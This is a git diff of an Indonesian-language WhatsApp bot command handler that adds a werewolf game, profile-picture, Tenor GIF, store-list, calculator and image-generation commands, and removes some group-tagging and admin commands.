listMessage = { + text: text, + footer: `Player Hidup: ${playerHidup( + sesi(m.chat, ww) + )} Player Mati: ${playerMati(sesi(m.chat, ww))}`, + title: "โŒ‚ W E R E W O L F - G A M E\n", + buttonText: "Clik here!", + sections, + mentions: player, + }; + await XeonBotInc.sendMessage(ww[chat].player[i].id, listMessage); + + await XeonBotInc.sendMessage(ww[chat].player[i].id, { + text: textu, + mentions: player, + }); + } + } + } + await XeonBotInc.sendMessage(m.chat, { + text: "*โŒ‚ W E R E W O L F - G A M E*\n\nGame telah dimulai, para player akan memerankan perannya masing masing, silahkan cek chat pribadi untuk melihat role kalian. Berhati-hatilah para warga, mungkin malam ini adalah malah terakhir untukmu", + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }); + await run(XeonBotInc, chat, ww); + } else if (value === "vote") { + if (!ww[chat]) return m.reply("Belum ada sesi permainan"); + if (ww[chat].status === false) + return m.reply("Sesi permainan belum dimulai"); + if (ww[chat].time !== "voting") + return m.reply("Sesi voting belum dimulai"); + if (playerOnRoom(sender, chat, ww) === false) + return m.reply("Kamu bukan player"); + if (dataPlayer(sender, ww).isdead === true) + return m.reply("Kamu sudah mati"); + if (!target || target.length < 1) + return m.reply("Masukan nomor player"); + if (isNaN(target)) return m.reply("Gunakan hanya nomor"); + if (dataPlayer(sender, ww).isvote === true) + return m.reply("Kamu sudah melakukan voting"); + b = getPlayerById(chat, sender, parseInt(target), ww); + if (b.db.isdead === true) + return m.reply(`Player ${target} sudah mati.`); + if (ww[chat].player.length < parseInt(target)) + return m.reply("Invalid"); + if (getPlayerById(chat, sender, parseInt(target), ww) === false) + return m.reply("Player tidak terdaftar!"); + vote(chat, parseInt(target), sender, ww); + return m.reply("โœ… Vote"); + } else if (value == "exit") { + if (!ww[chat]) return m.reply("Tidak ada sesi permainan"); + if (playerOnRoom(sender, chat, ww) === false) + return m.reply("Kamu tidak dalam sesi permainan"); + if (ww[chat].status === true) + return m.reply("Permainan sudah dimulai, kamu tidak bisa keluar"); + m.reply(`@${sender.split("@")[0]} Keluar dari permainan`, { + withTag: true, + }); + playerExit(chat, sender, ww); + } else if (value === "delete") { + if (!ww[chat]) return m.reply("Tidak ada sesi permainan"); + if (ww[chat].owner !== sender) + return m.reply( + `Hanya @${ + ww[chat].owner.split("@")[0] + } yang dapat menghapus sesi permainan ini` + ); + m.reply("Sesi permainan berhasil dihapus").then(() => { + delete ww[chat]; + }); + } else if (value === "player") { + if (!ww[chat]) return m.reply("Tidak ada sesi permainan"); + if (playerOnRoom(sender, chat, ww) === false) + return m.reply("Kamu tidak dalam sesi permainan"); + if (ww[chat].player.length === 0) + return m.reply("Sesi permainan belum memiliki player"); + let player = []; + let text = "\n*โŒ‚ W E R E W O L F - G A M E*\n\nLIST PLAYER:\n"; + for (let i = 0; i < ww[chat].player.length; i++) { + text += `(${ww[chat].player[i].number}) @${ww[chat].player[i].id.replace( + "@s.whatsapp.net", + "" + )} ${ + ww[chat].player[i].isdead === true + ? `โ˜ ๏ธ ${ww[chat].player[i].role}` + : "" + }\n`; + player.push(ww[chat].player[i].id); + } + XeonBotInc.sendMessage( + m.chat, { + text: text, + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + mentionedJid: player, + }, + }, { + quoted: m + } + ); + } else { + let text = `\n*โŒ‚ W E R E W O L F - G A M E*\n\nPermainan Sosial Yang Berlangsung Dalam Beberapa Putaran/ronde. Para Pemain Dituntut Untuk Mencari Seorang Penjahat Yang Ada Dipermainan. Para Pemain Diberi Waktu, Peran, Serta Kemampuannya Masing-masing Untuk Bermain Permainan Ini\n\n*โŒ‚ C O M M A N D*\n`; + text += ` โ€ข ww create\n`; + text += ` โ€ข ww join\n`; + text += ` โ€ข ww start\n`; + text += ` โ€ข ww exit\n`; + text += ` โ€ข ww delete\n`; + text += ` โ€ข ww player\n`; + text += `\nPermainan ini dapat dimainkan oleh 5 sampai 15 orang.`; + XeonBotInc.sendMessage( + m.chat, { + text: text.trim(), + contextInfo: { + externalAdReply: { + title: "W E R E W O L F", + mediaType: 1, + renderLargerThumbnail: true, + thumbnail: await resize(thumb, 300, 175), + sourceUrl: "", + mediaUrl: thumb, + }, + }, + }, { + quoted: m + } + ); + } } -] -}) -fs.unlinkSync(mediz) -replygcxeon(`Success`) -} else { -var memeg = await XeonBotInc.updateProfilePicture(m.chat, { url: mediz }) -fs.unlinkSync(mediz) -replygcxeon(`Success`) +break +//================================================================== +//================================================================== +case 'setpppanjang': { +const jimp_1 = require('jimp') +async function pepe(media) { + const jimp = await jimp_1.read(media) + const min = jimp.getWidth() + const max = jimp.getHeight() + const cropped = jimp.crop(0, 0, min, max) + return { + img: await cropped.scaleToFit(720, 720).getBufferAsync(jimp_1.MIME_JPEG), + preview: await cropped.normalize().getBufferAsync(jimp_1.MIME_JPEG) + } } + + let q = m.quoted ? m.quoted : m + let mime = (q.msg || q).mimetype || q.mediaType || '' + if (/image/g.test(mime) && !/webp/g.test(mime)) { + try { + const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) + let botNumber = await XeonBotInc.decodeJid(XeonBotInc.user.id) + let { img } = await pepe(media) + await XeonBotInc.query({ + tag: 'iq', + attrs: { + to: botNumber, + type:'set', + xmlns: 'w:profile:picture' + }, + content: [ + { + tag: 'picture', + attrs: { type: 'image' }, + content: img + } + ] + }) + reply(`Sukses mengganti PP Bot`) + } catch (e) { + console.log(e) + reply(`Terjadi kesalahan, coba lagi nanti.`) + } + } else { + reply(`Kirim gambar dengan caption *${command}* atau tag gambar yang sudah dikirim`) + } } break -case 'deleteppgroup': case 'delppgc': case 'deleteppgc': case 'delppgroup': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() - await XeonBotInc.removeProfilePicture(from) +//================================================================== +case 'setpppgcanjang': { +const jimp_1 = require('jimp') +async function pepe(media) { + const jimp = await jimp_1.read(media) + const min = jimp.getWidth() + const max = jimp.getHeight() + const cropped = jimp.crop(0, 0, min, max) + return { + img: await cropped.scaleToFit(720, 720).getBufferAsync(jimp_1.MIME_JPEG), + preview: await cropped.normalize().getBufferAsync(jimp_1.MIME_JPEG) + } +} + + let q = m.quoted ? m.quoted : m + let mime = (q.msg || q).mimetype || q.mediaType || '' + if (/image/g.test(mime) && !/webp/g.test(mime)) { + try { + const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) + let { img } = await pepe(media) + await XeonBotInc.query({ + tag: 'iq', + attrs: { + to: m.chat, + type:'set', + xmlns: 'w:profile:picture' + }, + content: [ + { + tag: 'picture', + attrs: { type: 'image' }, + content: img + } + ] + }) + reply(`Admin @${(m.sender || '').replace(/@s\.whatsapp\.net/g, '')} telah mengganti Icon Group!`, null, { mentions: [m.sender] }) + } catch (e) { + console.log(e) + reply(`Terjadi kesalahan, coba lagi nanti.`) + } + } else { + reply(`Kirim gambar dengan caption *${command}* atau tag gambar yang sudah dikirim`) + } +} +break +//=========================================\\ +case 'tenor': { +function isValidURL(message) { + const urlPattern = /https?:\/\/[^\s/$.?#].[^\s]*/; + return urlPattern.test(message); +} + +async function getTemplateImageUrl(input, number) { + try { + const data = await (await fetch(`https://g.tenor.com/v1/search?q=${input}&key=LIVDSRZULELA`)).json(); + const selectedId = data.results[number - 1]; + return { + one: selectedId, + all: data.results + }; + } catch (error) { + console.error("Error fetching data:", error); + return "Error fetching data."; } - break -case 'deleteppbot': case 'delppbot': { -if (!XeonTheCreator) return XeonStickOwner() - await XeonBotInc.removeProfilePicture(XeonBotInc.user.id) - replygcxeon(`Success in deleting bot's profile picture`) +} + let [tema, urutan] = text.split(/[^\w\s]/g) + if (!tema) return m.reply("*Example:*\n.tenor [tema]|[angka]") + if (!urutan) return m.reply("*Example:*\n.tenor [tema]|[angka]") + if (isNaN(urutan)) return m.reply("*Example:*\n.tenor [tema]|[angka]") + await m.reply(mess.wait) + try { + let json = await getTemplateImageUrl(tema, urutan) + let data = json.one + let all = json.all + if (urutan > all.length) return m.reply("Input query!\n*Example:*\n.tenor [tema]|[angka]\n\n*Pilih angka yg ada*\n" + all.map((item, index) => `*${index + 1}.* ${item.content_description}`).join("\n")) + if (isValidURL(data.media[0].mp4.url)) { + let caption = `๐Ÿ” *[ HASIL ]* + +๐Ÿ†” *ID:* ${data.id} +๐ŸŒ *URL:* ${data.url} +๐Ÿ“‹ *Description:* ${data.content_description} +๐Ÿ“Œ *Item:* ${data.itemurl}` + await XeonBotInc.sendMessage(m.chat, { + video: { + url: data.media[0].mp4.url + }, + caption: caption, + gifPlayback: true, + gifAttribution: 2 + }, { + quoted: m + }) + } + } catch (e) { + await m.reply(eror) } - break -case 'promote': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' -await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'promote') -await replygcxeon(`Done`) } break -case 'demote': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' -await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'demote') -await replygcxeon(`Done`) + +//===============Store-Menu================\\ +case 'list': case 'store':{ +if (db_respon_list.length === 0) return reply(`Belum ada list message di database`) +if (!isAlreadyResponListGroup(m.chat, db_respon_list)) return reply(`Belum ada list message yang terdaftar di group ini`) +let teks = `Halo @${m.sender.split("@")[0]} berikut beberapa list yang tersedia saat ini.\n\n` +for (let i of db_respon_list) { +if (i.id === m.chat) { +teks += `- ${i.key.toUpperCase()}\n` +} +} +teks += `\n\nUntuk melihat detail produk, silahkan kirim nama produk yang ada pada list di atas. Misalnya kamu ingin melihat detail produk dari ${db_respon_list[0].key.toUpperCase()}, maka kirim pesan ${db_respon_list[0].key.toUpperCase()} kepada bot` +XeonBotInc.sendMessage(m.chat, {text: teks, mentions: [m.sender]}, {quoted:m}) } break -case 'hidetag': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -XeonBotInc.sendMessage(m.chat, { text : q ? q : '' , mentions: participants.map(a => a.id)}, { quoted: m }) +case 'dellist': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (db_respon_list.length === 0) return reply(`Belum ada list message di database`) +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *key*\n\n_Contoh_\n\n${prefix + command} hello`) +if (!isAlreadyResponList(m.chat, q.toLowerCase(), db_respon_list)) return reply(`List respon dengan key *${q}* tidak ada di database!`) +delResponList(m.chat, q.toLowerCase(), db_respon_list) +reply(`Sukses delete list message dengan key *${q}*`) +break +case'addlist': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +var args1 = q.split("|")[0].toLowerCase() +var args2 = q.split("|")[1] +if (!q.includes("|")) return reply(`Gunakan dengan cara ${prefix+command} *key|response*\n\n_Contoh_\n\n${prefix+command} tes|apa`) +if (isAlreadyResponList(m.chat, args1, db_respon_list)) return reply(`List respon dengan key : *${args1}* sudah ada di group ini.`) +if (/image/.test(mime)) { +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +const fd = new FormData(); +fd.append('file', fs.readFileSync(media), '.tmp', '.jpg') +fetch('https://telegra.ph/upload', { +method: 'POST', +body: fd +}).then(res => res.json()) +.then((json) => { +addResponList(m.chat, args1, args2, true, `https://telegra.ph${json[0].src}`, db_respon_list) +reply(`Sukses set list message dengan key : *${args1}*`) +if (fs.existsSync(media)) fs.unlinkSync(media) +}) +} else { +addResponList(m.chat, args1, args2, false, '-', db_respon_list) +reply(`Sukses set list message dengan key : *${args1}*`) } break -case 'totag': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() - if (!m.quoted) return replygcxeon(`Reply message with caption ${prefix + command}`) - XeonBotInc.sendMessage(m.chat, { forward: m.quoted.fakeObj, mentions: participants.map(a => a.id) }) - } - break - -case 'tagall': { -if (!m.isGroup) return XeonStickGroup() -if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -if (!isBotAdmins) return XeonStickBotAdmin() -me = m.sender -let teks = `โ•šยปห™ฮ‡ู ${themeemoji}โ—โ™ฅ Tag All โ™ฅโ—${themeemoji}ู ฮ‡ห™ยซโ• - - ๐Ÿ˜ถ *Tagger :* @${me.split('@')[0]} - ๐ŸŒฟ *Message : ${q ? q : 'no message'}*\n\n` -for (let mem of participants) { -teks += `${themeemoji} @${mem.id.split('@')[0]}\n` +case 'updatelist': case 'update': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +var args1 = q.split("|")[0].toLowerCase() +var args2 = q.split("|")[1] +if (!q.includes("|")) return reply(`Gunakan dengan cara ${prefix+command} *key|response*\n\n_Contoh_\n\n${prefix+command} tes|apa`) +if (!isAlreadyResponListGroup(m.chat, db_respon_list)) return reply(`Maaf, untuk key *${args1}* belum terdaftar di group ini`) +if (/image/.test(mime)) { +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +const fd = new FormData(); +fd.append('file', fs.readFileSync(media), '.tmp', '.jpg') +fetch('https://telegra.ph/upload', { +method: 'POST', +body: fd +}).then(res => res.json()) +.then((json) => { +updateResponList(m.chat, args1, args2, true, `https://telegra.ph${json[0].src}`, db_respon_list) +reply(`Sukses update respon list dengan key *${args1}*`) +if (fs.existsSync(media)) fs.unlinkSync(media) +}) +} else { +updateResponList(m.chat, args1, args2, false, '-', db_respon_list) +reply(`Sukses update respon list dengan key *${args1}*`) } -XeonBotInc.sendMessage(m.chat, { text: teks, mentions: participants.map(a => a.id) }, { quoted: m }) +break +case 'tambah':{ +if (!text.includes('+')) return reply(`Gunakan dengan cara ${prefix+command} *angka* + *angka*\n\n_Contoh_\n\n${prefix+command} 1+2`) +arg = args.join(' ') +atas = arg.split('+')[0] +bawah = arg.split('+')[1] +var nilai_one = Number(atas) +var nilai_two = Number(bawah) +reply(`${nilai_one + nilai_two}`)} +break +case 'kurang':{ +if (!text.includes('-')) return reply(`Gunakan dengan cara ${prefix+command} *angka* - *angka*\n\n_Contoh_\n\n${prefix+command} 1-2`) +arg = args.join(' ') +atas = arg.split('-')[0] +bawah = arg.split('-')[1] +var nilai_one = Number(atas) +var nilai_two = Number(bawah) +reply(`${nilai_one - nilai_two}`)} +break +case 'kali':{ +if (!text.includes('*')) return reply(`Gunakan dengan cara ${prefix+command} *angka* * *angka*\n\n_Contoh_\n\n${prefix+command} 1*2`) +arg = args.join(' ') +atas = arg.split('*')[0] +bawah = arg.split('*')[1] +var nilai_one = Number(atas) +var nilai_two = Number(bawah) +reply(`${nilai_one * nilai_two}`)} +break +case 'bagi':{ +if (!text.includes('/')) return reply(`Gunakan dengan cara ${prefix+command} *angka* / *angka*\n\n_Contoh_\n\n${prefix+command} 1/2`) +arg = args.join(' ') +atas = arg.split('/')[0] +bawah = arg.split('/')[1] +var nilai_one = Number(atas) +var nilai_two = Number(bawah) +reply(`${nilai_one / nilai_two}`)} +break +case 'setproses': case 'setp': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks*\n\n_Contoh_\n\n${prefix + command} Pesanan sedang di proses ya @user\n\n- @user (tag org yg pesan)\n- @pesanan (pesanan)\n- @jam (waktu pemesanan)\n- @tanggal (tanggal pemesanan) `) +if (isSetProses(m.chat, set_proses)) return reply(`Set proses already active`) +addSetProses(text, m.chat, set_proses) +reply(`โœ… Done set proses!`) +break +case 'changeproses': case 'changep': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks*\n\n_Contoh_\n\n${prefix + command} Pesanan sedang di proses ya @user\n\n- @user (tag org yg pesan)\n- @pesanan (pesanan)\n- @jam (waktu pemesanan)\n- @tanggal (tanggal pemesanan) `) +if (isSetProses(m.chat, set_proses)) { +changeSetProses(text, m.chat, set_proses) +reply(`Sukses ubah set proses!`) +} else { +addSetProses(text, m.chat, set_proses) +reply(`Sukses ubah set proses!`) } break -case 'ebinary': { -if (!q) return replygcxeon(`Send/reply text with captions ${prefix + command}`) -XeonStickWait() -let { eBinary } = require('./scrape/binary') -let eb = await eBinary(`${q}`) -replygcxeon(eb) +case 'delsetproses': case 'delsetp': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!isSetProses(m.chat, set_proses)) return reply(`Belum ada set proses di gc ini`) +removeSetProses(m.chat, set_proses) +reply(`Sukses delete set proses`) +break +case 'setdone':{ +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks*\n\n_Contoh_\n\n${prefix + command} Done @user\n\n- @user (tag org yg pesan)\n- @pesanan (pesanan)\n- @jam (waktu pemesanan)\n- @tanggal (tanggal pemesanan) `) +if (isSetDone(m.chat, set_done)) return reply(`Udh set done sebelumnya`) +addSetDone(text, m.chat, set_done) +reply(`Sukses set done!`) +break +} +case 'changedone': case 'changed': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!text) return reply(`Gunakan dengan cara ${prefix + command} *teks*\n\n_Contoh_\n\n${prefix + command} Done @user\n\n- @user (tag org yg pesan)\n- @pesanan (pesanan)\n- @jam (waktu pemesanan)\n- @tanggal (tanggal pemesanan) `) +if (isSetDone(m.chat, set_done)) { +changeSetDone(text, m.chat, set_done) +reply(`Sukses ubah set done!`) +} else { +addSetDone(text, m.chat, set_done) +reply(`Sukses ubah set done!`) } break -case 'dbinary': { -if (!q) return replygcxeon(`Send/reply text with captions ${prefix + command}`) -XeonStickWait() -let { dBinary } = require('./scrape/binary') -let db = await dBinary(`${q}`) -replygcxeon(db) +case 'delsetdone': case 'delsetd': +if (!m.isGroup) return reply('Fitur Khusus Group!') +if (!isAdmins) return reply('Fitur Khusus admin!') +if (!isSetDone(m.chat, set_done)) return reply(`Belum ada set done di gc ini`) +removeSetDone(m.chat, set_done) +reply(`Sukses delete set done`) +break +//=========================================\\ +case 'bingimg': { +if (!isPrem) return replyprem(mess.premium) +if (!text) return reply('Mana Promt Nya Bos...') +reply(mess.wait) +const data = await fetchJson(`https://kiicodeofficial.my.id/api/ai/bingcreate?q=${text}&apikey=Dzsyacans`) +const img1 = data.data[1] +const img2 = data.data[2] +const img3 = data.data[3] +const fotoCP = `*Hasil Dari Promt* :\n${text}\nuntuk gambar lainnya cek di:\n\n ${img2}\n\n${img3}` || `*Hasil Dari Promt* :\n${text}\nuntuk gambar lainnya cek di:\n ${img2}` +XeonBotInc.sendMessage(m.chat, { caption: fotoCP, image: { url: img1 } }, { quoted: m }); } break -case 'remini': { - if (!quoted) return replygcxeon(`Where is the picture?`) - if (!/image/.test(mime)) return replygcxeon(`Send/Reply Photos With Captions ${prefix + command}`) - XeonStickWait() - const { remini } = require('./lib/remini') - let media = await quoted.download() - let proses = await remini(media, "enhance") - XeonBotInc.sendMessage(m.chat, { image: proses, caption: mess.success}, { quoted: m}) - } - break +//=========================================\\ case 'gimage': { - if (!text) return replygcxeon(`Example : ${prefix + command} carry minati`) - XeonStickWait() - let gis = require('g-i-s') - gis(text, async (error, result) => { - n = result - images = n[Math.floor(Math.random() * n.length)].url - XeonBotInc.sendMessage(m.chat, { image: { url: images}, caption: `*-------ใ€Œ GIMAGE SEARCH ใ€-------*\n๐Ÿค  *Query* : ${text}\n๐Ÿ”— *Media Url* : ${images}`}, { quoted: m }) - }) +if (!text) return replygcxeon(`Example : ${prefix + command} carry minati`) +reply(mess.wait) +let gis = require('g-i-s') +gis(text, async (error, result) => { +n = result +images = n[Math.floor(Math.random() * n.length)].url +XeonBotInc.sendMessage(m.chat, { image: { url: images}, caption: `*-------ใ€Œ GIMAGE SEARCH ใ€-------*\n๐Ÿค  *Query* : ${text}\n๐Ÿ”— *Media Url* : ${images}`}, { quoted: m }) +}) } - case 'gimage': { - - if (!text) return replygcxeon(`Example : ${prefix + command} kaori cicak` -) - xeonezyanu = await fetchJson(`https://api.akuari.my.id/search/googleimage?query=${text}`) - - n = xeonezyanu.result - - images = n[Math.floor(Math.random() * n.length)] - - - XeonBotInc.sendMessage(m.chat, { image: { url: images}, caption: `*-------ใ€Œ GIMAGE SEARCH ใ€-------*\n๐Ÿค  *Query* : ${text}\n๐Ÿ”— *Media Url* : ${images}`}, { quoted: m }) - } + break case 'mediafire': { - if (args.length == 0) return replygcxeon(`Where is the link ?`) + if (args.length == 0) return replygcxeon(`Dimana linknya?`) if (!isUrl(args[0]) && !args[0].includes('mediafire.com')) return replygcxeon(`The link you provided is invalid`) const { mediafireDl } = require('./lib/mediafire.js') const baby1 = await mediafireDl(text) - if (baby1[0].size.split('MB')[0] >= 100) return replygcxeon('Oops, the file is too big...') + if (baby1[0].size.split('MB')[0] >= 10000) return replygcxeon('Oops, the file is too big...') const result4 = `*MEDIAFIRE DOWNLOADER* *โ– Name* : ${baby1[0].nama} @@ -3273,16 +14352,16 @@ break case 'tiktokxx':{ if (!text) return replygcxeon( `Example : ${prefix + command} link`) if (!q.includes('tiktok')) return replygcxeon(`Link Invalid!!`) -XeonStickWait() +reply(mess.wait) require('./lib/tiktok').Tiktok(q).then( data => { -XeonBotInc.sendMessage(m.chat, { caption: `Here you go!`, video: { url: data.watermark }}, {quoted:m}) +XeonBotInc.sendMessage(m.chat, { caption: `Ini dia!!`, video: { url: data.watermark }}, {quoted:m}) }) } break case 'tiktokaudioxx':{ if (!text) return replygcxeon( `Example : ${prefix + command} link`) if (!q.includes('tiktok')) return replygcxeon(`Link Invalid!!`) -XeonStickWait() +reply(mess.wait) require('./lib/tiktok').Tiktok(q).then( data => { XeonBotInc.sendMessage(m.chat, { audio: { url: data.audio }, mimetype: 'audio/mp4' }, { quoted: m }) }) @@ -3290,7 +14369,7 @@ XeonBotInc.sendMessage(m.chat, { audio: { url: data.audio }, mimetype: 'audio/mp break case 'google': { if (!q) return replygcxeon(`Example : ${prefix + command} ${botname}`) -XeonStickWait() +reply(mess.wait) let google = require('google-it') google({'query': text}).then(res => { let teks = `Google Search From : ${text}\n\n` @@ -3305,27 +14384,27 @@ replygcxeon(teks) break case 'happymod':{ if (!q) return replygcxeon(`Example ${prefix+command} Sufway surfer mod`) -XeonStickWait() +reply(mess.wait) let kat = await scp1.happymod(q) replygcxeon(util.format(kat)) } break case 'search': case 'yts': case 'ytsearch': { - if (!text) return replygcxeon(`Example : ${prefix + command} story wa anime`) - let yts = require("yt-search") - let search = await yts(text) - let teks = 'YouTube Search\n\n Result From '+text+'\n\n' - let no = 1 - for (let i of search.all) { - teks += `${themeemoji} No : ${no++}\n${themeemoji} Type : ${i.type}\n${themeemoji} Video ID : ${i.videoId}\n${themeemoji} Title : ${i.title}\n${themeemoji} Views : ${i.views}\n${themeemoji} Duration : ${i.timestamp}\n${themeemoji} Uploaded : ${i.ago}\n${themeemoji} Url : ${i.url}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` - } - XeonBotInc.sendMessage(m.chat, { image: { url: search.all[0].thumbnail }, caption: teks }, { quoted: m }) +if (!text) return replygcxeon(`Example : ${prefix + command} story wa anime`) +let yts = require("yt-search") +let search = await yts(text) +let teks = 'YouTube Search\n\n Result From '+text+'\n\n' +let no = 1 +for (let i of search.all) { +teks += `${themeemoji} No : ${no++}\n${themeemoji} Type : ${i.type}\n${themeemoji} Video ID : ${i.videoId}\n${themeemoji} Title : ${i.title}\n${themeemoji} Views : ${i.views}\n${themeemoji} Duration : ${i.timestamp}\n${themeemoji} Uploaded : ${i.ago}\n${themeemoji} Url : ${i.url}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` +} +XeonBotInc.sendMessage(m.chat, { image: { url: search.all[0].thumbnail }, caption: teks }, { quoted: m }) } break case 'xxxxplay':{ if (!text) return replygcxeon(`Example : ${prefix+command} story wa anime`) -XeonStickWait() +reply(mess.wait) let search = await yts(text) url = search.videos[0].url let anu = search.videos[Math.floor(Math.random() * search.videos.length)] @@ -3346,7 +14425,8 @@ XeonBotInc.sendMessage(m.chat, { image : eek, caption: ngen }, { quoted: m}) } break case 'play': case 'song': { -if (!text) return replygcxeon(`Example : ${prefix + command} anime whatsapp status`) +if (!text) return replygcxeon(`Contoh : ${prefix + command} DJ Jawa Terbaru`) +reply(mess.wait) const xeonplaymp3 = require('./lib/ytdl2') let yts = require("youtube-yts") let search = await yts(text) @@ -3355,7 +14435,7 @@ const pl= await xeonplaymp3.mp3(anup3k.url) await XeonBotInc.sendMessage(m.chat,{ audio: fs.readFileSync(pl.path), fileName: anup3k.title + '.mp3', - mimetype: 'audio/mp4', ptt: true, + mimetype: 'audio/mp4', ptt: false, contextInfo:{ externalAdReply:{ title:anup3k.title, @@ -3371,12 +14451,13 @@ await fs.unlinkSync(pl.path) } break case "ytmp3": case "ytaudio": //credit: Ray Senpai รขยยครฏยธย https://github.com/EternityBots/Nezuko +reply(mess.wait) const xeonaudp3 = require('./lib/ytdl2') -if (args.length < 1 || !isUrl(text) || !xeonaudp3.isYTUrl(text)) return replygcxeon(`Where's the yt link?\nExample: ${prefix + command} https://youtube.com/shorts/YQf-vMjDuKY?feature=share`) -const audio=await xeonaudp3.mp3(text) +if (args.length < 1 || !isUrl(text) || !xeonaudp3.isYTUrl(text)) return replygcxeon(`Mana Link Nya Sayang๐Ÿ—ฟ\nContoh: ${prefix + command} https://youtube.com/shorts/YQf-vMjDuKY?feature=share`) +const audio = await xeonaudp3.mp3(text) await XeonBotInc.sendMessage(m.chat,{ audio: fs.readFileSync(audio.path), - mimetype: 'audio/mp4', ptt: true, + mimetype: 'audio/mp4', ptt: false, contextInfo:{ externalAdReply:{ title:audio.meta.title, @@ -3391,14 +14472,15 @@ await XeonBotInc.sendMessage(m.chat,{ await fs.unlinkSync(audio.path) break case 'ytmp4': case 'ytvideo': { +reply(mess.wait) const xeonvidoh = require('./lib/ytdl2') if (args.length < 1 || !isUrl(text) || !xeonvidoh.isYTUrl(text)) replygcxeon(`Where is the link??\n\nExample : ${prefix + command} https://youtube.com/watch?v=PtFMh6Tccag%27 128kbps`) const vid=await xeonvidoh.mp4(text) const ytc=` -*${themeemoji}Tittle:* ${vid.title} -*${themeemoji}Date:* ${vid.date} -*${themeemoji}Duration:* ${vid.duration} -*${themeemoji}Quality:* ${vid.quality}` +*${themeemoji}Judul:* ${vid.title} +*${themeemoji}Data:* ${vid.date} +*${themeemoji}Durasi:* ${vid.duration} +*${themeemoji}Kualitas:* ${vid.quality}` await XeonBotInc.sendMessage(m.chat,{ video: {url:vid.videoUrl}, caption: ytc @@ -3407,24 +14489,25 @@ await XeonBotInc.sendMessage(m.chat,{ break case 'ytvxxx': case 'ytmp4xxx': case 'mp4xxx':{ if (!text) return replygcxeon('Enter the link!!!') -XeonStickWait() +reply(mess.wait) downloadMp4(text) } break case 'ytaxxx': case 'ytmp3xxx': case 'mp3xxx':{ if (!text) return replygcxeon('Enter the link!!!') -XeonStickWait() +reply(mess.wait) downloadMp3(text) } break case 'getcase': if (!XeonTheCreator) return XeonStickOwner() const getCase = (cases) => { -return "case"+`'${cases}'`+fs.readFileSync("XeonCheems7.js").toString().split('case \''+cases+'\'')[1].split("break")[0]+"break" +return "case"+`'${cases}'`+fs.readFileSync("XeonCheems8.js").toString().split('case \''+cases+'\'')[1].split("break")[0]+"break" } replygcxeon(`${getCase(q)}`) break -case 'addprem': +//=========================================\\ + case 'addprem': if (!XeonTheCreator) return XeonStickOwner() if (!args[0]) return replygcxeon(`Use ${prefix+command} number\nExample ${prefix+command} 916909137213`) prrkek = q.split("|")[0].replace(/[^0-9]/g, '')+`@s.whatsapp.net` @@ -3434,6 +14517,7 @@ prem.push(prrkek) fs.writeFileSync('./database/premium.json', JSON.stringify(prem)) replygcxeon(`The Number ${prrkek} Has Been Premium!`) break +//=========================================\\ case 'delprem': if (!XeonTheCreator) return XeonStickOwner() if (!args[0]) return replygcxeon(`Use ${prefix+command} nomor\nExample ${prefix+command} 916909137213`) @@ -3627,54 +14711,54 @@ teks += `\n*Total : ${prem.length}*` XeonBotInc.sendMessage(m.chat, { text: teks.trim() }, 'extendedTextMessage', { quoted: m, contextInfo: { "mentionedJid": prem } }) break case 'setcmd': { - if (!m.quoted) return replygcxeon('Reply Message!') - if (!m.quoted.fileSha256) return replygcxeon('SHA256 Hash Missing') - if (!text) return replygcxeon(`For What Command?`) - let hash = m.quoted.fileSha256.toString('base64') - if (global.db.sticker[hash] && 